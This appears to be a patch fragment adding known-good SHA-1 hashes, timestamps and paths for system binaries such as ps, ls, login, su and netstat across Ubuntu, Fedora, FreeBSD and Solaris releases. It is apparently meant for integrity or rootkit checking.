[Ubuntu 8.10] +91B18B56BBD53D10C89FF49DAB657BA40138D207 Thu Jul 17 09:13:07 2008 /usr/sbin/arp [Ubuntu 8.10] +D3F872A8F2538CBDE33B1EBAB9929D103EC1033C Thu Jul 17 09:13:07 2008 /bin/netstat [Ubuntu 8.10] +05A93265B8DA1AE10B7DF5801EA603BD431F3A30 Tue Oct 14 15:52:25 2008 /sbin/modinfo [Ubuntu 8.10] +2302EF85B3A04404C734F2CE3F06E983E1A563FA Mon Oct 27 11:16:41 2008 /bin/ps [Ubuntu 8.10] +91654FD25D317BD13A65E10D777AC021F4A1A4F6 Fri Jun 20 16:07:07 2008 /bin/sh [Ubuntu 8.10] +40796FBD3B9C5CD3A5BFA4481985779CD520A0FB Mon Oct 27 11:16:41 2008 /usr/bin/w [Ubuntu 8.10] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 8.10] + +DAEA758463D8A1B5D87DC8BB66ACC8CB607FFE5C Tue Feb 12 07:54:35 2008 /usr/bin/w [Fedora 9] +C0FD0E90E2A32A08ADE8A7293195D62375E33FD4 Tue Feb 12 07:54:35 2008 /bin/ps [Fedora 9] +18966DCE9BB6983C46427C362DB7BE0048BE20B8 Tue Feb 19 00:26:27 2008 /usr/bin/telnet [Fedora 9] +D865AEF251B41727A1605978C6F0EF9B9643B7D6 Tue Mar 4 15:36:08 2008 /sbin/arp [Fedora 9] +FE3EC66766DAC4E0D4221ED67339539FC2A54C9F Tue Mar 4 15:36:08 2008 /bin/netstat [Fedora 9] +8DE813F7CE781F2608E382A890E6D4A1369573BB Wed Apr 2 14:21:18 2008 /bin/login [Fedora 9] +FF8CBCC412C9963617AF578C679B3281A3239323 Mon Apr 7 20:25:46 2008 /bin/su [Fedora 9] +85ACACEAB87B471E877BCF13BA3CC640276BDE1F Mon Apr 7 20:25:51 2008 /bin/rm [Fedora 9] +ABB9223CF209942C4EC89705D645FFDFFD745A4D Mon Apr 7 20:25:51 2008 /bin/ls [Fedora 9] +837A3450035FE9095B2DEBCB47919F802E658A1E Mon Apr 14 11:22:01 2008 /bin/find [Fedora 9] +8099FB268F77DCBD8E5712F07BE2F8B6643E867B Thu May 1 18:12:39 2008 /sbin/modinfo [Fedora 9] +FDB33B14923884398E9B4E8D5ECB3625DDD2DFF7 Fri Feb 29 14:27:02 2008 /bin/sh [Fedora 9] +837A3450035FE9095B2DEBCB47919F802E658A1E Mon Apr 14 11:22:01 2008 /usr/bin/find [Fedora 9] + +010E1F6C3EDF0C3F5A79701A1BA402FE3C9A0597 Fri Jan 5 04:59:59 2007 /usr/bin/find [Fedora 7] +03B05F953DF26F5A7748C7D116536635B212F412 Thu Mar 22 19:12:37 2007 /sbin/modinfo [Fedora 7] +E9D1ACF923A9E28FC992A19187AAE4D316F10C8E Tue Mar 27 07:35:24 2007 /sbin/arp [Fedora 7] +09E30DEAA10FFB53B08E085A5737D23FB8926658 Tue Mar 27 07:35:24 2007 /bin/netstat [Fedora 7] +306BF70F8906654EF3A153EF19D1A8D84FBE94AC Mon Apr 2 15:33:22 2007 /bin/su [Fedora 7] +AA089ED8D8C802AB6DC65F3FC5C664826D14938F Mon Apr 2 15:33:47 2007 /bin/rm [Fedora 7] +121CFC6D57C66D118A2B96CABEE0451308961C91 Mon Apr 2 15:33:47 2007 /bin/ls [Fedora 7] +AED98BA9318431EA479C13E1E3D02A5440B7E9DC Mon Apr 2 23:35:40 2007 /usr/bin/w [Fedora 7] +3DC78C946E5E505930D676994491602A635E5C92 Mon Apr 2 23:35:40 2007 /bin/ps [Fedora 7] +1A431B68BA8B7B321A5132F701C28CE845BA6B11 Fri Apr 6 11:15:42 2007 /bin/login [Fedora 7] +12B56AD6F4F4811A68A0A40741AA24933F645C9D Fri Apr 13 12:31:46 2007 /usr/bin/telnet [Fedora 7] +41510CF78D3A2EBF800BA8EAAC24558462FCE907 Mon Feb 12 15:18:24 2007 /bin/sh [Fedora 7] + +45B1F6EAD94BC6C2DF983C3997C2A2E98E820843 Wed Oct 9 12:44:10 2002 /bin/ps [FreeBSD 4.7] +8B8604BDFAFEDF2DB585BE384064532F84E214A8 Wed Oct 9 12:44:09 2002 /bin/ls [FreeBSD 4.7] +937C0B14CF18B5B84D6E79DFC9F88327EDDBFDAE Wed Oct 9 12:44:11 2002 /bin/sh [FreeBSD 4.7] +7A23FF19059D447331A9518C3B414F88D5741765 Wed Oct 9 12:44:10 2002 /bin/rm [FreeBSD 4.7] +03B18FB56BC4337014BDF3AF1185152B48E9E978 Wed Oct 9 12:46:17 2002 /usr/bin/netstat [FreeBSD 4.7] +4A3187F10DB26F68D561A6B6957F9436B44EE62A Wed Oct 9 12:46:29 2002 /usr/sbin/arp [FreeBSD 4.7] +76BAEB2DFBA1D8A0DBD18A8A14FA29AF78188C94 Wed Oct 9 12:46:11 2002 /usr/bin/find [FreeBSD 4.7] +8724AEB0A3FF1906C3E913F0372B210C946DC339 Wed Oct 9 12:46:32 2002 /usr/sbin/inetd [FreeBSD 4.7] +B354D21EE210AEBCA8703C5D3DB6922B401C94D5 Wed Oct 9 12:46:22 2002 /usr/bin/w [FreeBSD 4.7] +5562C3BDA7E49CF44C29D7466E474E92DBCC286C Wed Oct 9 12:51:15 2002 /usr/bin/su [FreeBSD 4.7] +9783831A0C4CD9AFF169563CAA1BF99F1B8C4AAE Wed Oct 9 12:51:15 2002 /usr/bin/login [FreeBSD 4.7] +A79736D547CD2EBC9BEB0FA02FAE7745B95FD965 Wed Oct 9 12:55:38 2002 /usr/bin/telnet [FreeBSD 4.7] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_120011-14] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_120011-14] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_120011-14] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_120011-14] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_120011-14] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_120011-14] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_120011-14] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_120011-14] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_120011-14] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_120011-14] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_120011-14] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_120011-14] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /bin/telnet [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/bin/telnet [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_120011-14] +394FF8DE7351F3362E05112AF1F7B54B8AD70FEE Fri Mar 2 01:30:53 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_120011-14] +2617F922256D82013E6CC66C3F95926C7F5F6028 Thu Aug 16 17:22:59 2007 /usr/sbin/inetd [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/ucb/telnet [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_120011-14] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_120011-14] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_120011-14] +8095E4D382EBC1EA33D6F1C0F206662737BAC3C7 Wed Jun 27 17:35:39 2007 /usr/sbin/in.rshd [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_120011-14] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_120011-14] +DE1C87DE0794F44A7DDB16E1BF256D366218CB32 Mon Sep 17 19:06:34 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_120011-14] + +1FC7C1DFEEFF33873A172DA77863EB3D5240A5E4 Sun May 8 07:01:31 2005 /bin/ps [FreeBSD 5.4] +0A333B0101C94A5B476FCDCF06E8502B1B36B1E9 Sun May 8 07:01:32 2005 /bin/sh [FreeBSD 5.4] +C5357232246616D0A1370569A719F769A2172CCC Sun May 8 07:01:32 2005 /bin/rm [FreeBSD 5.4] +52284C303EE83445C52C2CE1A6937AD3CDB5CFEB Sun May 8 07:03:59 2005 /usr/bin/login [FreeBSD 5.4] +045B5D146748C45F581FF492815C933162307574 Sun May 8 07:03:54 2005 /usr/bin/find [FreeBSD 5.4] +C882DEEE8E6BFE5DDB2303AEBFEEA2ECAED44D95 Sun May 8 07:04:09 2005 /usr/bin/su [FreeBSD 5.4] +41781B52086495B36631D6464B4027B2F0989575 Sun May 8 07:04:02 2005 /usr/bin/netstat [FreeBSD 5.4] +977507F5606D64720BBD59C6AF1E23BAB829C8AF Sun May 8 07:04:22 2005 /usr/sbin/arp [FreeBSD 5.4] +A528AA9002197DF93D8830DBF152C790D8A9504E Sun May 8 07:04:32 2005 /usr/sbin/inetd [FreeBSD 5.4] +E9082986A0A80AB18CC2B8345FCB0D336654B2F8 Sun May 8 07:04:10 2005 /usr/bin/telnet [FreeBSD 5.4] +DE052712B22AD3D8A250AAC34A9CC90FC86BDE8C Sun May 8 07:04:16 2005 /usr/bin/w [FreeBSD 5.4] +8549086C9B79BE23EFFB342FF8ACC92DB1AD4CF9 Sun May 8 07:01:31 2005 /bin/ls [FreeBSD 5.4] + +3C2DDE6A5193F9B4F0D2C1073F976D90D6A2B0D1 Sun May 8 05:59:14 2005 /bin/sh [FreeBSD 5.4 x86_64] +1688FD4ABC122B5041622C2FBD554D853DC489F1 Sun May 8 05:59:13 2005 /bin/ls [FreeBSD 5.4 x86_64] +32659785DB12F9186CC23D12EBC86402D89EF621 Sun May 8 05:59:14 2005 /bin/ps [FreeBSD 5.4 x86_64] +CB5F7F09EE97BFA3FFB35400258DE49BB87ECF55 Sun May 8 05:59:14 2005 /bin/rm [FreeBSD 5.4 x86_64] +1E8C3C51482DA7503BA704248F4BA125C87231AB Sun May 8 06:00:22 2005 /usr/bin/su [FreeBSD 5.4 x86_64] +5D42507853F32941EC8EA86517357D2C5C2704F6 Sun May 8 06:00:19 2005 /usr/bin/login [FreeBSD 5.4 x86_64] +E87797AF847969001335BC01597F2DD17355EE03 Sun May 8 06:00:20 2005 /usr/bin/netstat [FreeBSD 5.4 x86_64] +609808724875C2EBEB1782E390862E40EFFD6828 Sun May 8 06:00:22 2005 /usr/bin/telnet [FreeBSD 5.4 x86_64] +5B220B2EE7223C96E72F7CF3E9A63D6DF62F94B9 Sun May 8 06:00:28 2005 /usr/sbin/arp [FreeBSD 5.4 x86_64] +6FE7C628421131C4CD6A1EA5A0142C18835FDAE6 Sun May 8 06:00:31 2005 /usr/sbin/inetd [FreeBSD 5.4 x86_64] +5CDABE215CA0D2FDCFB3B47DF7C4CA86D1AA5C69 Sun May 8 06:00:17 2005 /usr/bin/find [FreeBSD 5.4 x86_64] +309F85134EFF5BF3319E660EE36EC9BE18127C8A Sun May 8 06:00:24 2005 /usr/bin/w [FreeBSD 5.4 x86_64] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_125100-10] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_125100-10] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_125100-10] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_125100-10] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_125100-10] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic_125100-10] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_125100-10] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /bin/netstat [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/bin/netstat [Solaris 2.10 Generic_125100-10] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_125100-10] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_125100-10] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_125100-10] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_125100-10] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_125100-10] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /bin/telnet [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/bin/telnet [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_125100-10] +0DBC9948E583CE2AF48FA453194C2899B0367140 Thu Feb 15 15:07:20 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_125100-10] +1034397DC4E0B7F3D33BFAF50A2EFE6C2CE3E3CE Tue May 15 20:30:13 2007 /usr/sbin/inetd [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/ucb/telnet [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/ucb/netstat [Solaris 2.10 Generic_125100-10] +86EB7454C778381411D6C846E7174D43EE0201E7 Thu Mar 29 19:31:41 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_125100-10] +57DAB1633629EF78339C697DE6DEEF5CFBEC02D3 Wed Apr 11 21:40:23 2007 /bin/rm [Solaris 2.10 Generic_125100-10] +57DAB1633629EF78339C697DE6DEEF5CFBEC02D3 Wed Apr 11 21:40:23 2007 /usr/bin/rm [Solaris 2.10 Generic_125100-10] +9CAB3C722C58D4FCC549B96F578E6A5E2C9229F4 Mon Jun 11 21:17:19 2007 /usr/sbin/in.rshd [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_125100-10] + +B4AE8D8CA1DA60878CB5F5BF96CDCC9C6F2ED105 Sun Jan 23 01:17:24 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic] +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic] +195A2BAF2C940B9DF444A928DB89BF155DBE8FC6 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /sbin/sh [Solaris 2.10 Generic] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /bin/su [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /usr/bin/su [Solaris 2.10 Generic] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /bin/rm [Solaris 2.10 Generic] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /usr/bin/rm [Solaris 2.10 Generic] +E968C734E5B8721F38A2E0AE28D10775D7255BF1 Sun Jan 23 01:48:09 2005 /bin/ls [Solaris 2.10 Generic] +E968C734E5B8721F38A2E0AE28D10775D7255BF1 Sun Jan 23 01:48:09 2005 /usr/bin/ls [Solaris 2.10 Generic] +83BA51306FEEAF15966936B3667A10D5579DBFDD Sun Jan 23 01:48:06 2005 /bin/find [Solaris 2.10 Generic] +83BA51306FEEAF15966936B3667A10D5579DBFDD Sun Jan 23 01:48:06 2005 /usr/bin/find [Solaris 2.10 Generic] +4F423809C0E61507E61ED366BC82584D9A9C6B90 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/ls [Solaris 2.10 Generic] +04427A455FF78F921B404D944B07EB0988C75A98 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/ps [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /bin/netstat [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /usr/bin/netstat [Solaris 2.10 Generic] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic] +77EDB872CF9D942D04AE12648E61ECCBE366DFF9 Sun Jan 23 02:22:52 2005 /usr/sbin/in.telnetd [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /bin/telnet [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /usr/bin/telnet [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /bin/sh [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /sbin/su [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /usr/bin/sh [Solaris 2.10 Generic] +5D70BA4D976590171A6FF2FDDA5AEBA6D6A46397 Sun Jan 23 01:48:25 2005 /usr/sbin/inetd [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /usr/ucb/telnet [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /usr/ucb/netstat [Solaris 2.10 Generic] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_137137-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_137137-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_137137-09] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_137137-09] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_137137-09] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_137137-09] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_137137-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_137137-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_137137-09] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_137137-09] +D370603194C8412A71C45E1A24722D893933B6A6 Thu Oct 11 16:19:00 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_137137-09] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_137137-09] 